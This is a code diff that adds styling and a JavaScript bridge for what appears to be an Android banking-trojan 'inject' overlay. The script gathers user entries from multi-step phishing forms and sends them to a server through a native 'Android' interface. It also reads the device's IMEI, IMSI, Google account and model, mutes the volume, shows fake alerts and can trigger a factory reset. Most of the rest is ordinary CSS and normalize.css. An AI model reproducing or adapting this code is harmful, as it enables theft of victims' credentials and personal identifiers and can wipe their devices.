||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
After Width: | Height: | Size: 5.1 KiB |
|
After Width: | Height: | Size: 28 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,307 @@
|
||||
|
||||
|
||||
|
||||
.container {
|
||||
padding-top:70px;
|
||||
}
|
||||
.wrapper .row {
|
||||
position: relative;
|
||||
float: left;
|
||||
width: 100%;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.modal_header{
|
||||
background: #07C0D4;
|
||||
border: solid 1px #365FB4;
|
||||
}
|
||||
.row_header + .row {
|
||||
margin-top: 14px;
|
||||
}
|
||||
.form_header {
|
||||
background: #ffffff;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
top:0;
|
||||
left:0;
|
||||
width:100%;
|
||||
padding: 20px 12px 6px 12px;
|
||||
border-bottom: solid 1px #A9A9A9;
|
||||
}
|
||||
.content{
|
||||
padding: 0 15px;
|
||||
max-width: 330px;
|
||||
margin: 0 auto;
|
||||
max-width: 100%;
|
||||
overflow: hidden;
|
||||
}
|
||||
.inp_caption {
|
||||
color: #fff;
|
||||
font-family: "Helvetica";
|
||||
font-size: 16px;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
.input_block_wr_l {
|
||||
padding-left: 131px;
|
||||
padding-right: 6%;
|
||||
margin-bottom: 13px;
|
||||
}
|
||||
.inp_caption_l {
|
||||
position: absolute;
|
||||
left: 6%;
|
||||
text-align: left;
|
||||
top: 8px;
|
||||
|
||||
}
|
||||
.inp_wr_l {
|
||||
float: right;
|
||||
width: 100%;
|
||||
|
||||
}
|
||||
.inp_wr{
|
||||
text-align: center;
|
||||
}
|
||||
.main_input{
|
||||
border: none;
|
||||
outline-style: none;
|
||||
background-color: #FFF;
|
||||
border: 1px solid #E8E8E8;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
max-width: 330px;
|
||||
height: 35px;
|
||||
padding-left: 6px;
|
||||
font-size: 19px;
|
||||
width: 100%;
|
||||
}
|
||||
.input_block_wr {
|
||||
display:table;
|
||||
max-width:330px;
|
||||
margin-left:auto;
|
||||
margin-right:auto;
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 15px;
|
||||
}
|
||||
.btn_wr {
|
||||
text-align: center;
|
||||
margin-top: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.logon_btn {
|
||||
width: 140px;
|
||||
height: 40px;
|
||||
background-color: #FE0101;
|
||||
background-image: -moz-linear-gradient(bottom, #07C0D4 0%, #07C0D4 100%);
|
||||
background-image: -o-linear-gradient(bottom, #07C0D4 0%, #07C0D4 100%);
|
||||
background-image: -webkit-linear-gradient(bottom, #07C0D4 0%, #07C0D4 100%);
|
||||
background-image: linear-gradient(to top, #07C0D4 0%, #07C0D4 100%);
|
||||
border: 2px solid #F0F0F0;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
-moz-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
-webkit-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
cursor: pointer;
|
||||
outline-style: none;
|
||||
color: #FFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 700;
|
||||
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
|
||||
}
|
||||
|
||||
.main_select {
|
||||
text-align: left;
|
||||
}
|
||||
.main_select.jq-selectbox {
|
||||
width: 100%;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 35px;
|
||||
padding: 0 5px 0 5px;
|
||||
border: 1px solid #E8E8E8 !important;
|
||||
-moz-border-radius: 5px !important;
|
||||
-webkit-border-radius: 5px !important;
|
||||
border-radius: 5px !important;
|
||||
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
border-radius: 0;
|
||||
background: #fff;
|
||||
box-shadow: none;
|
||||
color: #363636;
|
||||
text-shadow: none;
|
||||
font-size: 14px;
|
||||
font: 14px/26px 'Helvetica';
|
||||
width: 100%;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger {
|
||||
width: 30px;
|
||||
height: 35px !important;
|
||||
height: 100%;
|
||||
border-left: none;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow {
|
||||
top: 16px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text {
|
||||
height: 35px;
|
||||
line-height: 37px;
|
||||
}
|
||||
.main_select .jq-selectbox__dropdown {
|
||||
top: 35px !important;
|
||||
width: 100%;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border: 1px solid #CCC;
|
||||
border-radius: 0;
|
||||
background: #FFF;
|
||||
box-shadow: none;
|
||||
font: 14px/26px 'Helvetica';
|
||||
}
|
||||
.main_select .jq-selectbox__dropdown li{
|
||||
padding: 0 5px 0 !important;
|
||||
}
|
||||
@media (max-width: 320px){
|
||||
.inp_caption_l {
|
||||
left: 0;
|
||||
}
|
||||
.input_block_wr_l {
|
||||
padding-left: 110px;
|
||||
padding-right: 0;
|
||||
}
|
||||
}
|
||||
@media (max-height: 436px){
|
||||
.form_header {
|
||||
padding: 10px 5px 5px 5px;
|
||||
height: 40px;
|
||||
}
|
||||
.container {padding-top:40px;}
|
||||
.inp_caption {
|
||||
font-size: 13px;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 0;
|
||||
}
|
||||
.form_header:after {
|
||||
content: none;
|
||||
}
|
||||
.main_input{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.logon_btn{
|
||||
height: 25px;
|
||||
line-height: 19px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.btn_wr {
|
||||
margin-top: 12px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text{
|
||||
height: 20px;
|
||||
line-height: 22px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger{
|
||||
height: 20px !important;
|
||||
width: 18px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow{
|
||||
top: 9px;
|
||||
right: 6px;
|
||||
}
|
||||
.inp_caption_l{
|
||||
top: 3px;
|
||||
}
|
||||
.input_block_wr_l{
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
}
|
||||
@media (max-height: 240px) {
|
||||
.input_block_wr_l{
|
||||
padding-left: 95px;
|
||||
}
|
||||
}
|
||||
@media (max-width: 200px), (max-height: 240px) {
|
||||
.form_header {
|
||||
padding: 2px;
|
||||
height: 18px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.container {padding-top:18px;}
|
||||
.form_header img{
|
||||
max-height: 13px;
|
||||
}
|
||||
.content {
|
||||
padding: 0 3px;
|
||||
}
|
||||
.inp_caption {
|
||||
font-size: 10px;
|
||||
margin-bottom: -3px;
|
||||
}
|
||||
.row + .row{
|
||||
margin-top: 0;
|
||||
}
|
||||
.main_input{
|
||||
height: 12px;
|
||||
font-size: 10px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 1px;
|
||||
}
|
||||
.btn_wr{
|
||||
margin-top: 1px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.logon_btn{
|
||||
font-size: 7px;
|
||||
width: 70px;
|
||||
height: 16px;
|
||||
line-height: 10px;
|
||||
}
|
||||
.logon_btn img {
|
||||
top: 4px;
|
||||
}
|
||||
.input_block_wr_l{
|
||||
margin-bottom: 3px;
|
||||
padding-left: 70px;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 15px;
|
||||
font-size: 10px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text{
|
||||
height: 15px;
|
||||
line-height: 15px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger{
|
||||
height: 15px !important;
|
||||
width: 7px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow{
|
||||
top: 6px;
|
||||
right: 3px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
* {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html,body{
|
||||
height: 100%;
|
||||
min-height:100%;
|
||||
}
|
||||
html {
|
||||
min-width: 150px;
|
||||
min-height: 150px;
|
||||
}
|
||||
body {
|
||||
font-family: 'Arial';
|
||||
}
|
||||
.modal {
|
||||
width: 100%;
|
||||
/*float: left;*/
|
||||
text-align: left;
|
||||
/*min-height: 100%;
|
||||
max-height: 100%;*/
|
||||
display:table;
|
||||
height:100%;
|
||||
}
|
||||
.form_header img {
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
}
|
||||
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
|
||||
.container {
|
||||
width: 100%;
|
||||
height:100%;
|
||||
display:table-cell;
|
||||
vertical-align:middle;
|
||||
}
|
||||
|
||||
@-o-viewport {
|
||||
width: 150px;
|
||||
height: device-height;
|
||||
zoom: 1;
|
||||
}
|
||||
@@ -0,0 +1,427 @@
|
||||
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
|
||||
|
||||
/**
|
||||
* 1. Set default font family to sans-serif.
|
||||
* 2. Prevent iOS text size adjust after orientation change, without disabling
|
||||
* user zoom.
|
||||
*/
|
||||
|
||||
html {
|
||||
font-family: sans-serif; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default margin.
|
||||
*/
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* HTML5 display definitions
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Correct `block` display not defined for any HTML5 element in IE 8/9.
|
||||
* Correct `block` display not defined for `details` or `summary` in IE 10/11
|
||||
* and Firefox.
|
||||
* Correct `block` display not defined for `main` in IE 11.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
details,
|
||||
figcaption,
|
||||
figure,
|
||||
footer,
|
||||
header,
|
||||
hgroup,
|
||||
main,
|
||||
menu,
|
||||
nav,
|
||||
section,
|
||||
summary {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `inline-block` display not defined in IE 8/9.
|
||||
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
audio,
|
||||
canvas,
|
||||
progress,
|
||||
video {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent modern browsers from displaying `audio` without controls.
|
||||
* Remove excess height in iOS 5 devices.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `[hidden]` styling not present in IE 8/9/10.
|
||||
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
|
||||
*/
|
||||
|
||||
[hidden],
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Links
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the gray background color from active links in IE 10.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Improve readability when focused and also mouse hovered in all browsers.
|
||||
*/
|
||||
|
||||
a:active,
|
||||
a:hover {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: 1px dotted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in Safari and Chrome.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address variable `h1` font-size and margin within `section` and `article`
|
||||
* contexts in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent and variable font size in all browsers.
|
||||
*/
|
||||
|
||||
small {
|
||||
font-size: 80%;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent `sub` and `sup` affecting `line-height` in all browsers.
|
||||
*/
|
||||
|
||||
sub,
|
||||
sup {
|
||||
font-size: 75%;
|
||||
line-height: 0;
|
||||
position: relative;
|
||||
vertical-align: baseline;
|
||||
}
|
||||
|
||||
sup {
|
||||
top: -0.5em;
|
||||
}
|
||||
|
||||
sub {
|
||||
bottom: -0.25em;
|
||||
}
|
||||
|
||||
/* Embedded content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove border when inside `a` element in IE 8/9/10.
|
||||
*/
|
||||
|
||||
img {
|
||||
border: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Correct overflow not hidden in IE 9/10/11.
|
||||
*/
|
||||
|
||||
svg:not(:root) {
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Grouping content
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address margin not present in IE 8/9 and Safari.
|
||||
*/
|
||||
|
||||
figure {
|
||||
margin: 1em 40px;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address differences between Firefox and other browsers.
|
||||
*/
|
||||
|
||||
hr {
|
||||
-moz-box-sizing: content-box;
|
||||
box-sizing: content-box;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Contain overflow in all browsers.
|
||||
*/
|
||||
|
||||
pre {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address odd `em`-unit font size rendering in all browsers.
|
||||
*/
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp {
|
||||
font-family: monospace, monospace;
|
||||
font-size: 1em;
|
||||
}
|
||||
|
||||
/* Forms
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Known limitation: by default, Chrome and Safari on OS X allow very limited
|
||||
* styling of `select`, unless a `border` property is set.
|
||||
*/
|
||||
|
||||
/**
|
||||
* 1. Correct color not being inherited.
|
||||
* Known issue: affects color of disabled elements.
|
||||
* 2. Correct font properties not being inherited.
|
||||
* 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
button,
|
||||
input,
|
||||
optgroup,
|
||||
select,
|
||||
textarea {
|
||||
color: inherit; /* 1 */
|
||||
font: inherit; /* 2 */
|
||||
margin: 0; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `overflow` set to `hidden` in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
button {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address inconsistent `text-transform` inheritance for `button` and `select`.
|
||||
* All other form control elements do not inherit `text-transform` values.
|
||||
* Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
|
||||
* Correct `select` style inheritance in Firefox.
|
||||
*/
|
||||
|
||||
button,
|
||||
select {
|
||||
text-transform: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
|
||||
* and `video` controls.
|
||||
* 2. Correct inability to style clickable `input` types in iOS.
|
||||
* 3. Improve usability and consistency of cursor style between image-type
|
||||
* `input` and others.
|
||||
*/
|
||||
|
||||
button,
|
||||
html input[type="button"], /* 1 */
|
||||
input[type="reset"],
|
||||
input[type="submit"] {
|
||||
-webkit-appearance: button; /* 2 */
|
||||
cursor: pointer; /* 3 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-set default cursor for disabled elements.
|
||||
*/
|
||||
|
||||
button[disabled],
|
||||
html input[disabled] {
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and border in Firefox 4+.
|
||||
*/
|
||||
|
||||
button::-moz-focus-inner,
|
||||
input::-moz-focus-inner {
|
||||
border: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address Firefox 4+ setting `line-height` on `input` using `!important` in
|
||||
* the UA stylesheet.
|
||||
*/
|
||||
|
||||
input {
|
||||
line-height: normal;
|
||||
}
|
||||
|
||||
/**
|
||||
* It's recommended that you don't attempt to style these elements.
|
||||
* Firefox's implementation doesn't respect box-sizing, padding, or width.
|
||||
*
|
||||
* 1. Address box sizing set to `content-box` in IE 8/9/10.
|
||||
* 2. Remove excess padding in IE 8/9/10.
|
||||
*/
|
||||
|
||||
input[type="checkbox"],
|
||||
input[type="radio"] {
|
||||
box-sizing: border-box; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Fix the cursor style for Chrome's increment/decrement buttons. For certain
|
||||
* `font-size` values of the `input`, it causes the cursor style of the
|
||||
* decrement button to change from `default` to `text`.
|
||||
*/
|
||||
|
||||
input[type="number"]::-webkit-inner-spin-button,
|
||||
input[type="number"]::-webkit-outer-spin-button {
|
||||
height: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Address `appearance` set to `searchfield` in Safari and Chrome.
|
||||
* 2. Address `box-sizing` set to `border-box` in Safari and Chrome
|
||||
* (include `-moz` to future-proof).
|
||||
*/
|
||||
|
||||
input[type="search"] {
|
||||
-webkit-appearance: textfield; /* 1 */
|
||||
-moz-box-sizing: content-box;
|
||||
-webkit-box-sizing: content-box; /* 2 */
|
||||
box-sizing: content-box;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove inner padding and search cancel button in Safari and Chrome on OS X.
|
||||
* Safari (but not Chrome) clips the cancel button when the search input has
|
||||
* padding (and `textfield` appearance).
|
||||
*/
|
||||
|
||||
input[type="search"]::-webkit-search-cancel-button,
|
||||
input[type="search"]::-webkit-search-decoration {
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
/**
|
||||
* Define consistent border, margin, and padding.
|
||||
*/
|
||||
|
||||
fieldset {
|
||||
border: 1px solid #c0c0c0;
|
||||
margin: 0 2px;
|
||||
padding: 0.35em 0.625em 0.75em;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `color` not being inherited in IE 8/9/10/11.
|
||||
* 2. Remove padding so people aren't caught out if they zero out fieldsets.
|
||||
*/
|
||||
|
||||
legend {
|
||||
border: 0; /* 1 */
|
||||
padding: 0; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default vertical scrollbar in IE 8/9/10/11.
|
||||
*/
|
||||
|
||||
textarea {
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/**
|
||||
* Don't inherit the `font-weight` (applied by a rule above).
|
||||
* NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
|
||||
*/
|
||||
|
||||
optgroup {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* Tables
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove most spacing between table cells.
|
||||
*/
|
||||
|
||||
table {
|
||||
border-collapse: collapse;
|
